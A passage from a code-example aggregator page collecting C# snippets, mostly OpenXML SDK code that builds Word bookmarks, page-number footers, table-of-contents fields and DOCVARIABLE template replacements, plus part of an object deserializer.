                case ObjectSerializer.TYPE_DECIMAL:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadDecimal()));
                    break;

                case ObjectSerializer.TYPE_DOUBLE:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadDouble()));
                    break;

                case ObjectSerializer.TYPE_SINGLE:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadSingle()));
                    break;

                case ObjectSerializer.TYPE_DATETIME:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadDateTime()));
                    break;

                case ObjectSerializer.TYPE_DATETIMEOFFSET:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadDateTimeOffset()));
                    break;

                case ObjectSerializer.TYPE_TIMESPAN:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadTimeSpan()));
                    break;

                case ObjectSerializer.TYPE_CHAR:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadChar()));
                    break;

                case ObjectSerializer.TYPE_STRING:
                case ObjectSerializer.TYPE_ENUM:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadString()));
                    break;

                case ObjectSerializer.TYPE_CI_STRING:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, new CaseInsensitiveString(Reader.ReadString())));
                    break;

                case ObjectSerializer.TYPE_BYTEARRAY:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadByteArray()));
                    break;

                case ObjectSerializer.TYPE_GUID:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, Reader.ReadGuid()));
                    break;

                case ObjectSerializer.TYPE_NULL:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, null));
                    break;

                case ObjectSerializer.TYPE_ARRAY:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, this.ReadGenericArray(Reader)));
                    break;

                case ObjectSerializer.TYPE_OBJECT:
                    Properties.AddLast(new KeyValuePair <string, object>(FieldName, this.Deserialize(Reader, FieldDataType, true)));
                    break;

                default:
                    throw new Exception("Unrecognized data type: " + FieldDataType.ToString());
                }
            }

            return(new GenericObject(CollectionName, TypeName, ObjectId, Properties));
        }
Beispiel #25
0
        private Paragraph addLinkToParagraph(WordprocessingDocument doc, Paragraph paragraph1, int id)
        {
            Body body = doc.MainDocumentPart.Document.Body;

            BookmarkStart bookmarkStart = new BookmarkStart {
                Name = @"text_of_tips_" + id, Id = id.ToString()
            };
            BookmarkEnd bookmarkEnd = new BookmarkEnd()
            {
                Id = id.ToString()
            };

            body.InsertBefore <BookmarkStart>(bookmarkStart, paragraph1);
            body.InsertAfter <BookmarkEnd>(bookmarkEnd, paragraph1);

            Paragraph paragraph3 = new Paragraph();

            Run run2 = new Run {
                RsidRunAddition = "009B0519"
            };
            FieldChar fieldChar1 = new FieldChar()
            {
                FieldCharType = FieldCharValues.Begin
            };

            run2.Append(fieldChar1);
            Run run3 = new Run {
                RsidRunAddition = "009B0519"
            };
            FieldCode fieldCode1 = new FieldCode();                            // { Space = SpaceProcessingModeValues.Preserve };

            fieldCode1.Text = string.Format(" REF text_of_tips_{0} \\h ", id); // Link to bookmark p_1
            run3.Append(fieldCode1);
            Run run4 = new Run()
            {
                RsidRunAddition = "009B0519"
            };
            FieldChar fieldChar2 = new FieldChar {
                FieldCharType = FieldCharValues.Separate
            };

            run4.Append(fieldChar2);
            Run run5 = new Run()
            {
                RsidRunAddition = "009B0519"
            };

            Text text2 = new Text();

            //paragraph1.InnerText;
            text2.Text = paragraph1.InnerText; //"name of smeta from output documents of Investor " + id;
            run5.Append(text2);

            Run       run6       = new Run();
            FieldChar fieldChar3 = new FieldChar()
            {
                FieldCharType = FieldCharValues.End
            };

            run6.Append(fieldChar3);
            paragraph3.Append(run2);
            paragraph3.Append(run3);
            paragraph3.Append(run4);
            paragraph3.Append(run5);
            paragraph3.Append(run6);
            return(paragraph3);
        }
Beispiel #26
0
        // Generates content of footerPart1.
        private void GenerateFooterPart1Content(FooterPart footerPart1)
        {
            Footer footer1 = new Footer() { MCAttributes = new MarkupCompatibilityAttributes() { Ignorable = "w14 w15 w16se wp14" } };
            footer1.AddNamespaceDeclaration("wpc", "http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas");
            footer1.AddNamespaceDeclaration("cx", "http://schemas.microsoft.com/office/drawing/2014/chartex");
            footer1.AddNamespaceDeclaration("cx1", "http://schemas.microsoft.com/office/drawing/2015/9/8/chartex");
            footer1.AddNamespaceDeclaration("cx2", "http://schemas.microsoft.com/office/drawing/2015/10/21/chartex");
            footer1.AddNamespaceDeclaration("mc", "http://schemas.openxmlformats.org/markup-compatibility/2006");
            footer1.AddNamespaceDeclaration("o", "urn:schemas-microsoft-com:office:office");
            footer1.AddNamespaceDeclaration("r", "http://schemas.openxmlformats.org/officeDocument/2006/relationships");
            footer1.AddNamespaceDeclaration("m", "http://schemas.openxmlformats.org/officeDocument/2006/math");
            footer1.AddNamespaceDeclaration("v", "urn:schemas-microsoft-com:vml");
            footer1.AddNamespaceDeclaration("wp14", "http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing");
            footer1.AddNamespaceDeclaration("wp", "http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing");
            footer1.AddNamespaceDeclaration("w10", "urn:schemas-microsoft-com:office:word");
            footer1.AddNamespaceDeclaration("w", "http://schemas.openxmlformats.org/wordprocessingml/2006/main");
            footer1.AddNamespaceDeclaration("w14", "http://schemas.microsoft.com/office/word/2010/wordml");
            footer1.AddNamespaceDeclaration("w15", "http://schemas.microsoft.com/office/word/2012/wordml");
            footer1.AddNamespaceDeclaration("w16se", "http://schemas.microsoft.com/office/word/2015/wordml/symex");
            footer1.AddNamespaceDeclaration("wpg", "http://schemas.microsoft.com/office/word/2010/wordprocessingGroup");
            footer1.AddNamespaceDeclaration("wpi", "http://schemas.microsoft.com/office/word/2010/wordprocessingInk");
            footer1.AddNamespaceDeclaration("wne", "http://schemas.microsoft.com/office/word/2006/wordml");
            footer1.AddNamespaceDeclaration("wps", "http://schemas.microsoft.com/office/word/2010/wordprocessingShape");

            SdtBlock sdtBlock1 = new SdtBlock();

            SdtProperties sdtProperties50 = new SdtProperties();
            SdtId sdtId50 = new SdtId() { Val = -1161223993 };

            SdtContentDocPartObject sdtContentDocPartObject1 = new SdtContentDocPartObject();
            DocPartGallery docPartGallery1 = new DocPartGallery() { Val = "Page Numbers (Bottom of Page)" };
            DocPartUnique docPartUnique1 = new DocPartUnique();

            sdtContentDocPartObject1.Append(docPartGallery1);
            sdtContentDocPartObject1.Append(docPartUnique1);

            sdtProperties50.Append(sdtId50);
            sdtProperties50.Append(sdtContentDocPartObject1);
            SdtEndCharProperties sdtEndCharProperties50 = new SdtEndCharProperties();

            SdtContentBlock sdtContentBlock1 = new SdtContentBlock();

            Paragraph paragraph369 = new Paragraph() { RsidParagraphAddition = "0094109A", RsidParagraphProperties = "00697199", RsidRunAdditionDefault = "00A563A2", ParagraphId = "3CF2B95B", TextId = "59B2ED64" };

            ParagraphProperties paragraphProperties366 = new ParagraphProperties();
            ParagraphStyleId paragraphStyleId26 = new ParagraphStyleId() { Val = "Footer" };

            paragraphProperties366.Append(paragraphStyleId26);

            Hyperlink hyperlink1 = new Hyperlink() { History = true, Id = "rId1" };

            Run run738 = new Run() { RsidRunProperties = "00697199", RsidRunAddition = "00697199" };

            RunProperties runProperties780 = new RunProperties();
            FontSize fontSize1048 = new FontSize() { Val = "20" };
            FontSizeComplexScript fontSizeComplexScript1034 = new FontSizeComplexScript() { Val = "20" };

            runProperties780.Append(fontSize1048);
            runProperties780.Append(fontSizeComplexScript1034);
            Text text700 = new Text();
            text700.Text = "BJC IS Tech Management Standards";

            run738.Append(runProperties780);
            run738.Append(text700);

            hyperlink1.Append(run738);

            Run run739 = new Run() { RsidRunProperties = "00697199", RsidRunAddition = "00697199" };

            RunProperties runProperties781 = new RunProperties();
            FontSize fontSize1049 = new FontSize() { Val = "20" };
            FontSizeComplexScript fontSizeComplexScript1035 = new FontSizeComplexScript() { Val = "20" };

            runProperties781.Append(fontSize1049);
            runProperties781.Append(fontSizeComplexScript1035);
            Text text701 = new Text() { Space = SpaceProcessingModeValues.Preserve };
            text701.Text = "  can be found at: ";

            run739.Append(runProperties781);
            run739.Append(text701);

            Hyperlink hyperlink2 = new Hyperlink() { History = true, Id = "rId2" };

            Run run740 = new Run() { RsidRunProperties = "00697199", RsidRunAddition = "00697199" };

            RunProperties runProperties782 = new RunProperties();
            RunStyle runStyle2 = new RunStyle() { Val = "Hyperlink" };
            FontSize fontSize1050 = new FontSize() { Val = "20" };
            FontSizeComplexScript fontSizeComplexScript1036 = new FontSizeComplexScript() { Val = "20" };

            runProperties782.Append(runStyle2);
            runProperties782.Append(fontSize1050);
            runProperties782.Append(fontSizeComplexScript1036);
            Text text702 = new Text();
            text702.Text = "http://bjcis/sites/techservices/Informational%20Documents/Forms/AllItems.aspx";

            run740.Append(runProperties782);
            run740.Append(text702);

            hyperlink2.Append(run740);

            Run run741 = new Run() { RsidRunProperties = "00697199", RsidRunAddition = "00697199" };

            RunProperties runProperties783 = new RunProperties();
            FontSize fontSize1051 = new FontSize() { Val = "20" };
            FontSizeComplexScript fontSizeComplexScript1037 = new FontSizeComplexScript() { Val = "20" };

            runProperties783.Append(fontSize1051);
            runProperties783.Append(fontSizeComplexScript1037);
            TabChar tabChar45 = new TabChar();

            run741.Append(runProperties783);
            run741.Append(tabChar45);

            Run run742 = new Run() { RsidRunAddition = "00697199" };

            RunProperties runProperties784 = new RunProperties();
            FontSize fontSize1052 = new FontSize() { Val = "20" };
            FontSizeComplexScript fontSizeComplexScript1038 = new FontSizeComplexScript() { Val = "20" };

            runProperties784.Append(fontSize1052);
            runProperties784.Append(fontSizeComplexScript1038);
            Text text703 = new Text() { Space = SpaceProcessingModeValues.Preserve };
            text703.Text = "       ";

            run742.Append(runProperties784);
            run742.Append(text703);

            SdtRun sdtRun50 = new SdtRun();

            SdtProperties sdtProperties51 = new SdtProperties();

            RunProperties runProperties785 = new RunProperties();
            FontSize fontSize1053 = new FontSize() { Val = "20" };
            FontSizeComplexScript fontSizeComplexScript1039 = new FontSizeComplexScript() { Val = "20" };

            runProperties785.Append(fontSize1053);
            runProperties785.Append(fontSizeComplexScript1039);
            SdtId sdtId51 = new SdtId() { Val = 860082579 };

            SdtContentDocPartObject sdtContentDocPartObject2 = new SdtContentDocPartObject();
            DocPartGallery docPartGallery2 = new DocPartGallery() { Val = "Page Numbers (Top of Page)" };
            DocPartUnique docPartUnique2 = new DocPartUnique();

            sdtContentDocPartObject2.Append(docPartGallery2);
            sdtContentDocPartObject2.Append(docPartUnique2);

            sdtProperties51.Append(runProperties785);
            sdtProperties51.Append(sdtId51);
            sdtProperties51.Append(sdtContentDocPartObject2);

            SdtEndCharProperties sdtEndCharProperties51 = new SdtEndCharProperties();

            RunProperties runProperties786 = new RunProperties();
            FontSize fontSize1054 = new FontSize() { Val = "24" };
            FontSizeComplexScript fontSizeComplexScript1040 = new FontSizeComplexScript() { Val = "24" };

            runProperties786.Append(fontSize1054);
            runProperties786.Append(fontSizeComplexScript1040);

            sdtEndCharProperties51.Append(runProperties786);

            SdtContentRun sdtContentRun50 = new SdtContentRun();

            Run run743 = new Run() { RsidRunAddition = "0094109A" };
            Text text704 = new Text() { Space = SpaceProcessingModeValues.Preserve };
            text704.Text = "Page ";

            run743.Append(text704);

            Run run744 = new Run() { RsidRunAddition = "0094109A" };

            RunProperties runProperties787 = new RunProperties();
            Bold bold109 = new Bold();
            BoldComplexScript boldComplexScript4 = new BoldComplexScript();

            runProperties787.Append(bold109);
            runProperties787.Append(boldComplexScript4);
            FieldChar fieldChar1 = new FieldChar() { FieldCharType = FieldCharValues.Begin };

            run744.Append(runProperties787);
            run744.Append(fieldChar1);

            Run run745 = new Run() { RsidRunAddition = "0094109A" };

            RunProperties runProperties788 = new RunProperties();
            Bold bold110 = new Bold();
            BoldComplexScript boldComplexScript5 = new BoldComplexScript();

            runProperties788.Append(bold110);
            runProperties788.Append(boldComplexScript5);
            FieldCode fieldCode1 = new FieldCode() { Space = SpaceProcessingModeValues.Preserve };
            fieldCode1.Text = " PAGE ";

            run745.Append(runProperties788);
            run745.Append(fieldCode1);

            Run run746 = new Run() { RsidRunAddition = "0094109A" };

            RunProperties runProperties789 = new RunProperties();
            Bold bold111 = new Bold();
            BoldComplexScript boldComplexScript6 = new BoldComplexScript();

            runProperties789.Append(bold111);
            runProperties789.Append(boldComplexScript6);
            FieldChar fieldChar2 = new FieldChar() { FieldCharType = FieldCharValues.Separate };

            run746.Append(runProperties789);
            run746.Append(fieldChar2);

            Run run747 = new Run() { RsidRunAddition = "007F6223" };

            RunProperties runProperties790 = new RunProperties();
            Bold bold112 = new Bold();
            BoldComplexScript boldComplexScript7 = new BoldComplexScript();
            NoProof noProof2 = new NoProof();

            runProperties790.Append(bold112);
            runProperties790.Append(boldComplexScript7);
            runProperties790.Append(noProof2);
            Text text705 = new Text();
            text705.Text = "1";

            run747.Append(runProperties790);
            run747.Append(text705);

            Run run748 = new Run() { RsidRunAddition = "0094109A" };

            RunProperties runProperties791 = new RunProperties();
            Bold bold113 = new Bold();
            BoldComplexScript boldComplexScript8 = new BoldComplexScript();

            runProperties791.Append(bold113);
            runProperties791.Append(boldComplexScript8);
            FieldChar fieldChar3 = new FieldChar() { FieldCharType = FieldCharValues.End };

            run748.Append(runProperties791);
            run748.Append(fieldChar3);

            Run run749 = new Run() { RsidRunAddition = "0094109A" };
            Text text706 = new Text() { Space = SpaceProcessingModeValues.Preserve };
            text706.Text = " of ";

            run749.Append(text706);

            Run run750 = new Run() { RsidRunAddition = "0094109A" };

            RunProperties runProperties792 = new RunProperties();
            Bold bold114 = new Bold();
            BoldComplexScript boldComplexScript9 = new BoldComplexScript();

            runProperties792.Append(bold114);
            runProperties792.Append(boldComplexScript9);
            FieldChar fieldChar4 = new FieldChar() { FieldCharType = FieldCharValues.Begin };

            run750.Append(runProperties792);
            run750.Append(fieldChar4);

            Run run751 = new Run() { RsidRunAddition = "0094109A" };

            RunProperties runProperties793 = new RunProperties();
            Bold bold115 = new Bold();
            BoldComplexScript boldComplexScript10 = new BoldComplexScript();

            runProperties793.Append(bold115);
            runProperties793.Append(boldComplexScript10);
            FieldCode fieldCode2 = new FieldCode() { Space = SpaceProcessingModeValues.Preserve };
            fieldCode2.Text = " NUMPAGES  ";

            run751.Append(runProperties793);
            run751.Append(fieldCode2);

            Run run752 = new Run() { RsidRunAddition = "0094109A" };

            RunProperties runProperties794 = new RunProperties();
            Bold bold116 = new Bold();
            BoldComplexScript boldComplexScript11 = new BoldComplexScript();

            runProperties794.Append(bold116);
            runProperties794.Append(boldComplexScript11);
            FieldChar fieldChar5 = new FieldChar() { FieldCharType = FieldCharValues.Separate };

            run752.Append(runProperties794);
            run752.Append(fieldChar5);

            Run run753 = new Run() { RsidRunAddition = "007F6223" };

            RunProperties runProperties795 = new RunProperties();
            Bold bold117 = new Bold();
            BoldComplexScript boldComplexScript12 = new BoldComplexScript();
            NoProof noProof3 = new NoProof();

            runProperties795.Append(bold117);
            runProperties795.Append(boldComplexScript12);
            runProperties795.Append(noProof3);
            Text text707 = new Text();
            text707.Text = "8";

            run753.Append(runProperties795);
            run753.Append(text707);

            Run run754 = new Run() { RsidRunAddition = "0094109A" };

            RunProperties runProperties796 = new RunProperties();
            Bold bold118 = new Bold();
            BoldComplexScript boldComplexScript13 = new BoldComplexScript();

            runProperties796.Append(bold118);
            runProperties796.Append(boldComplexScript13);
            FieldChar fieldChar6 = new FieldChar() { FieldCharType = FieldCharValues.End };

            run754.Append(runProperties796);
            run754.Append(fieldChar6);

            sdtContentRun50.Append(run743);
            sdtContentRun50.Append(run744);
            sdtContentRun50.Append(run745);
            sdtContentRun50.Append(run746);
            sdtContentRun50.Append(run747);
            sdtContentRun50.Append(run748);
            sdtContentRun50.Append(run749);
            sdtContentRun50.Append(run750);
            sdtContentRun50.Append(run751);
            sdtContentRun50.Append(run752);
            sdtContentRun50.Append(run753);
            sdtContentRun50.Append(run754);

            sdtRun50.Append(sdtProperties51);
            sdtRun50.Append(sdtEndCharProperties51);
            sdtRun50.Append(sdtContentRun50);

            paragraph369.Append(paragraphProperties366);
            paragraph369.Append(hyperlink1);
            paragraph369.Append(run739);
            paragraph369.Append(hyperlink2);
            paragraph369.Append(run741);
            paragraph369.Append(run742);
            paragraph369.Append(sdtRun50);

            sdtContentBlock1.Append(paragraph369);

            sdtBlock1.Append(sdtProperties50);
            sdtBlock1.Append(sdtEndCharProperties50);
            sdtBlock1.Append(sdtContentBlock1);

            Paragraph paragraph370 = new Paragraph() { RsidParagraphAddition = "0094109A", RsidParagraphProperties = "000F55C6", RsidRunAdditionDefault = "0094109A", ParagraphId = "0AAC1AD4", TextId = "7EFCA27E" };

            ParagraphProperties paragraphProperties367 = new ParagraphProperties();
            ParagraphStyleId paragraphStyleId27 = new ParagraphStyleId() { Val = "Footer" };
            Justification justification77 = new Justification() { Val = JustificationValues.Center };

            paragraphProperties367.Append(paragraphStyleId27);
            paragraphProperties367.Append(justification77);

            paragraph370.Append(paragraphProperties367);

            footer1.Append(sdtBlock1);
            footer1.Append(paragraph370);

            footerPart1.Footer = footer1;
        }
Beispiel #27
0
        internal void Apply(OpenXmlElement replacedElement, IReportReplaceable[][] templateValues)
        {
            var templateValuesDicts = new List <Dictionary <string, IReportReplaceable> >();
            var mainPart            = getMainDocumentPart(replacedElement);

            foreach (var row in templateValues)
            {
                var rowDict = new Dictionary <string, IReportReplaceable>();
                foreach (var item in row)
                {
                    rowDict.Add((item as ReportElement).Key, item);
                    if (item.GetType() == typeof(ReportImage))
                    {
                        (item as ReportImage).InjectDocPart(mainPart);
                    }
                }
                templateValuesDicts.Add(rowDict);
            }

            var paragraphs = new List <Paragraph>();

            foreach (var rowValue in templateValuesDicts)
            {
                var dRootElement = rootElement.Clone() as Body;
                paragraphs.AddRange(dRootElement.Descendants <Paragraph>());

                var dirtyChilds = new List <OpenXmlElement>();
                foreach (var paragraph in paragraphs.Where(p => p.Descendants <FieldCode>().Any()))
                {
                    List <string> codes = null;
                    foreach (var elem in paragraph.Elements().SelectMany(e => e.ChildElements))
                    {
                        if (elem.GetType() == typeof(FieldChar))
                        {
                            var fChar = (FieldChar)elem;
                            if (fChar.FieldCharType == FieldCharValues.Begin)
                            {
                                codes = new List <string>();
                            }
                            if (fChar.FieldCharType == FieldCharValues.End)
                            {
                                var code      = string.Join("", codes).Trim();
                                var fieldCode = new FieldCode(code);
                                var target    = (Run)elem.Parent.PreviousSibling <Run>().Clone();
                                target.ReplaceChild(fieldCode, target.GetFirstChild <FieldCode>());
                                paragraph.InsertBefore(target, elem.Parent);
                                if (!code.StartsWith("DOCVARIABLE"))
                                {
                                    dirtyChilds.RemoveRange(dirtyChilds.Count - codes.Count, codes.Count);
                                }
                                codes = null;
                            }
                        }
                        else
                        {
                            if (codes != null && elem.GetType() == typeof(FieldCode))
                            {
                                codes.Add(elem.InnerText);
                                dirtyChilds.Add(elem.Parent);
                            }
                        }
                    }
                    foreach (var dirty in dirtyChilds)
                    {
                        paragraph.RemoveChild(dirty);
                    }
                    dirtyChilds.Clear();
                }

                //foreach (var paragraph in paragraphs.Where(p => p.Descendants<FieldCode>().Any()))
                //{
                //    var code = paragraph.InnerText.Trim();
                //    paragraph.RemoveAllChildren<Run>();
                //    paragraph.Append(new Run(new FieldChar() { FieldCharType = FieldCharValues.Begin }));
                //    paragraph.Append(new Run(new FieldCode(code)));
                //    paragraph.Append(new Run(new FieldChar() { FieldCharType = FieldCharValues.End }));
                //}

                var fields = paragraphs.SelectMany(p => p.Descendants <FieldCode>()).Where(p => p.InnerText.Contains("DOCVARIABLE"));
                replace(fields.ToArray(), rowValue);
                clean(fields.ToArray(), rowValue);

                foreach (var child in dRootElement.ChildElements)
                {
                    replacedElement.InsertBeforeSelf(child.CloneNode(true));
                }
            }
            replacedElement.Remove();
        }
Beispiel #28
0
 private void SetCodeAt(Vector2D position,
     FieldCode code)
 {
     _field[position.X, position.Y] = (int)code;
 }
Beispiel #29
0
        public static Paragraph GenerateParagraph()
        {
            Paragraph paragraph1 = new Paragraph()
            {
                RsidParagraphMarkRevision = "00D36A28", RsidParagraphAddition = "00D36A28", RsidRunAdditionDefault = "005478FD", ParagraphId = "16FCFC06", TextId = "77777777"
            };

            ParagraphProperties paragraphProperties1 = new ParagraphProperties();
            ParagraphStyleId    paragraphStyleId1    = new ParagraphStyleId()
            {
                Val = "TOC1"
            };

            ParagraphMarkRunProperties paragraphMarkRunProperties1 = new ParagraphMarkRunProperties();
            RunFonts runFonts1 = new RunFonts()
            {
                Ascii = "Arial", HighAnsi = "Arial", ComplexScript = "Arial", EastAsiaTheme = ThemeFontValues.MinorEastAsia
            };
            Caps caps1 = new Caps()
            {
                Val = false
            };
            NoProof  noProof1  = new NoProof();
            FontSize fontSize1 = new FontSize()
            {
                Val = "20"
            };
            FontSizeComplexScript fontSizeComplexScript1 = new FontSizeComplexScript()
            {
                Val = "20"
            };
            Languages languages1 = new Languages()
            {
                EastAsia = "en-CA"
            };

            paragraphMarkRunProperties1.Append(runFonts1);
            paragraphMarkRunProperties1.Append(caps1);
            paragraphMarkRunProperties1.Append(noProof1);
            paragraphMarkRunProperties1.Append(fontSize1);
            paragraphMarkRunProperties1.Append(fontSizeComplexScript1);
            paragraphMarkRunProperties1.Append(languages1);

            paragraphProperties1.Append(paragraphStyleId1);
            paragraphProperties1.Append(paragraphMarkRunProperties1);

            Run run1 = new Run()
            {
                RsidRunProperties = "004D1F3B"
            };

            RunProperties runProperties1 = new RunProperties();
            RunFonts      runFonts2      = new RunFonts()
            {
                Ascii = "Arial", HighAnsi = "Arial", ComplexScript = "Arial"
            };
            FontSize fontSize2 = new FontSize()
            {
                Val = "20"
            };
            FontSizeComplexScript fontSizeComplexScript2 = new FontSizeComplexScript()
            {
                Val = "20"
            };

            runProperties1.Append(runFonts2);
            runProperties1.Append(fontSize2);
            runProperties1.Append(fontSizeComplexScript2);
            FieldChar fieldChar1 = new FieldChar()
            {
                FieldCharType = FieldCharValues.Begin
            };

            run1.Append(runProperties1);
            run1.Append(fieldChar1);
            BookmarkEnd bookmarkEnd1 = new BookmarkEnd()
            {
                Id = "3"
            };
            BookmarkEnd bookmarkEnd2 = new BookmarkEnd()
            {
                Id = "4"
            };
            BookmarkEnd bookmarkEnd3 = new BookmarkEnd()
            {
                Id = "5"
            };

            Run run2 = new Run()
            {
                RsidRunProperties = "004D1F3B"
            };

            RunProperties runProperties2 = new RunProperties();
            RunFonts      runFonts3      = new RunFonts()
            {
                Ascii = "Arial", HighAnsi = "Arial", ComplexScript = "Arial"
            };
            FontSize fontSize3 = new FontSize()
            {
                Val = "20"
            };
            FontSizeComplexScript fontSizeComplexScript3 = new FontSizeComplexScript()
            {
                Val = "20"
            };

            runProperties2.Append(runFonts3);
            runProperties2.Append(fontSize3);
            runProperties2.Append(fontSizeComplexScript3);
            FieldCode fieldCode1 = new FieldCode()
            {
                Space = SpaceProcessingModeValues.Preserve
            };

            fieldCode1.Text = " TOC \\o \"1-2\" \\h \\z \\u ";

            run2.Append(runProperties2);
            run2.Append(fieldCode1);

            Run run3 = new Run()
            {
                RsidRunProperties = "004D1F3B"
            };

            RunProperties runProperties3 = new RunProperties();
            RunFonts      runFonts4      = new RunFonts()
            {
                Ascii = "Arial", HighAnsi = "Arial", ComplexScript = "Arial"
            };
            FontSize fontSize4 = new FontSize()
            {
                Val = "20"
            };
            FontSizeComplexScript fontSizeComplexScript4 = new FontSizeComplexScript()
            {
                Val = "20"
            };

            runProperties3.Append(runFonts4);
            runProperties3.Append(fontSize4);
            runProperties3.Append(fontSizeComplexScript4);
            FieldChar fieldChar2 = new FieldChar()
            {
                FieldCharType = FieldCharValues.Separate
            };

            run3.Append(runProperties3);
            run3.Append(fieldChar2);

            Hyperlink hyperlink1 = new Hyperlink()
            {
                History = true, Anchor = "_Toc459701534"
            };

            Run run4 = new Run()
            {
                RsidRunProperties = "00D36A28", RsidRunAddition = "00D36A28"
            };

            RunProperties runProperties4 = new RunProperties();
            RunStyle      runStyle1      = new RunStyle()
            {
                Val = "Hyperlink"
            };
            RunFonts runFonts5 = new RunFonts()
            {
                Ascii = "Arial", HighAnsi = "Arial", ComplexScript = "Arial"
            };
            NoProof  noProof2  = new NoProof();
            FontSize fontSize5 = new FontSize()
            {
                Val = "20"
            };
            FontSizeComplexScript fontSizeComplexScript5 = new FontSizeComplexScript()
            {
                Val = "20"
            };

            runProperties4.Append(runStyle1);
            runProperties4.Append(runFonts5);
            runProperties4.Append(noProof2);
            runProperties4.Append(fontSize5);
            runProperties4.Append(fontSizeComplexScript5);
            Text text1 = new Text();

            text1.Text = "Article 1 definitions and iNTERPRETATION";

            run4.Append(runProperties4);
            run4.Append(text1);

            Run run5 = new Run()
            {
                RsidRunProperties = "00D36A28", RsidRunAddition = "00D36A28"
            };

            RunProperties runProperties5 = new RunProperties();
            RunFonts      runFonts6      = new RunFonts()
            {
                Ascii = "Arial", HighAnsi = "Arial", ComplexScript = "Arial"
            };
            NoProof   noProof3   = new NoProof();
            WebHidden webHidden1 = new WebHidden();
            FontSize  fontSize6  = new FontSize()
            {
                Val = "20"
            };
            FontSizeComplexScript fontSizeComplexScript6 = new FontSizeComplexScript()
            {
                Val = "20"
            };

            runProperties5.Append(runFonts6);
            runProperties5.Append(noProof3);
            runProperties5.Append(webHidden1);
            runProperties5.Append(fontSize6);
            runProperties5.Append(fontSizeComplexScript6);
            TabChar tabChar1 = new TabChar();

            run5.Append(runProperties5);
            run5.Append(tabChar1);

            Run run6 = new Run()
            {
                RsidRunProperties = "00D36A28", RsidRunAddition = "00D36A28"
            };

            RunProperties runProperties6 = new RunProperties();
            RunFonts      runFonts7      = new RunFonts()
            {
                Ascii = "Arial", HighAnsi = "Arial", ComplexScript = "Arial"
            };
            NoProof   noProof4   = new NoProof();
            WebHidden webHidden2 = new WebHidden();
            FontSize  fontSize7  = new FontSize()
            {
                Val = "20"
            };
            FontSizeComplexScript fontSizeComplexScript7 = new FontSizeComplexScript()
            {
                Val = "20"
            };

            runProperties6.Append(runFonts7);
            runProperties6.Append(noProof4);
            runProperties6.Append(webHidden2);
            runProperties6.Append(fontSize7);
            runProperties6.Append(fontSizeComplexScript7);
            FieldChar fieldChar3 = new FieldChar()
            {
                FieldCharType = FieldCharValues.Begin
            };

            run6.Append(runProperties6);
            run6.Append(fieldChar3);

            Run run7 = new Run()
            {
                RsidRunProperties = "00D36A28", RsidRunAddition = "00D36A28"
            };

            RunProperties runProperties7 = new RunProperties();
            RunFonts      runFonts8      = new RunFonts()
            {
                Ascii = "Arial", HighAnsi = "Arial", ComplexScript = "Arial"
            };
            NoProof   noProof5   = new NoProof();
            WebHidden webHidden3 = new WebHidden();
            FontSize  fontSize8  = new FontSize()
            {
                Val = "20"
            };
            FontSizeComplexScript fontSizeComplexScript8 = new FontSizeComplexScript()
            {
                Val = "20"
            };

            runProperties7.Append(runFonts8);
            runProperties7.Append(noProof5);
            runProperties7.Append(webHidden3);
            runProperties7.Append(fontSize8);
            runProperties7.Append(fontSizeComplexScript8);
            FieldCode fieldCode2 = new FieldCode()
            {
                Space = SpaceProcessingModeValues.Preserve
            };

            fieldCode2.Text = " PAGEREF _Toc459701534 \\h ";

            run7.Append(runProperties7);
            run7.Append(fieldCode2);

            Run run8 = new Run()
            {
                RsidRunProperties = "00D36A28", RsidRunAddition = "00D36A28"
            };

            RunProperties runProperties8 = new RunProperties();
            RunFonts      runFonts9      = new RunFonts()
            {
                Ascii = "Arial", HighAnsi = "Arial", ComplexScript = "Arial"
            };
            NoProof   noProof6   = new NoProof();
            WebHidden webHidden4 = new WebHidden();
            FontSize  fontSize9  = new FontSize()
            {
                Val = "20"
            };
            FontSizeComplexScript fontSizeComplexScript9 = new FontSizeComplexScript()
            {
                Val = "20"
            };

            runProperties8.Append(runFonts9);
            runProperties8.Append(noProof6);
            runProperties8.Append(webHidden4);
            runProperties8.Append(fontSize9);
            runProperties8.Append(fontSizeComplexScript9);

            run8.Append(runProperties8);

            Run run9 = new Run()
            {
                RsidRunProperties = "00D36A28", RsidRunAddition = "00D36A28"
            };

            RunProperties runProperties9 = new RunProperties();
            RunFonts      runFonts10     = new RunFonts()
            {
                Ascii = "Arial", HighAnsi = "Arial", ComplexScript = "Arial"
            };
            NoProof   noProof7   = new NoProof();
            WebHidden webHidden5 = new WebHidden();
            FontSize  fontSize10 = new FontSize()
            {
                Val = "20"
            };
            FontSizeComplexScript fontSizeComplexScript10 = new FontSizeComplexScript()
            {
                Val = "20"
            };

            runProperties9.Append(runFonts10);
            runProperties9.Append(noProof7);
            runProperties9.Append(webHidden5);
            runProperties9.Append(fontSize10);
            runProperties9.Append(fontSizeComplexScript10);
            FieldChar fieldChar4 = new FieldChar()
            {
                FieldCharType = FieldCharValues.Separate
            };

            run9.Append(runProperties9);
            run9.Append(fieldChar4);

            Run run10 = new Run()
            {
                RsidRunProperties = "00D36A28", RsidRunAddition = "00D36A28"
            };

            RunProperties runProperties10 = new RunProperties();
            RunFonts      runFonts11      = new RunFonts()
            {
                Ascii = "Arial", HighAnsi = "Arial", ComplexScript = "Arial"
            };
            NoProof   noProof8   = new NoProof();
            WebHidden webHidden6 = new WebHidden();
            FontSize  fontSize11 = new FontSize()
            {
                Val = "20"
            };
            FontSizeComplexScript fontSizeComplexScript11 = new FontSizeComplexScript()
            {
                Val = "20"
            };

            runProperties10.Append(runFonts11);
            runProperties10.Append(noProof8);
            runProperties10.Append(webHidden6);
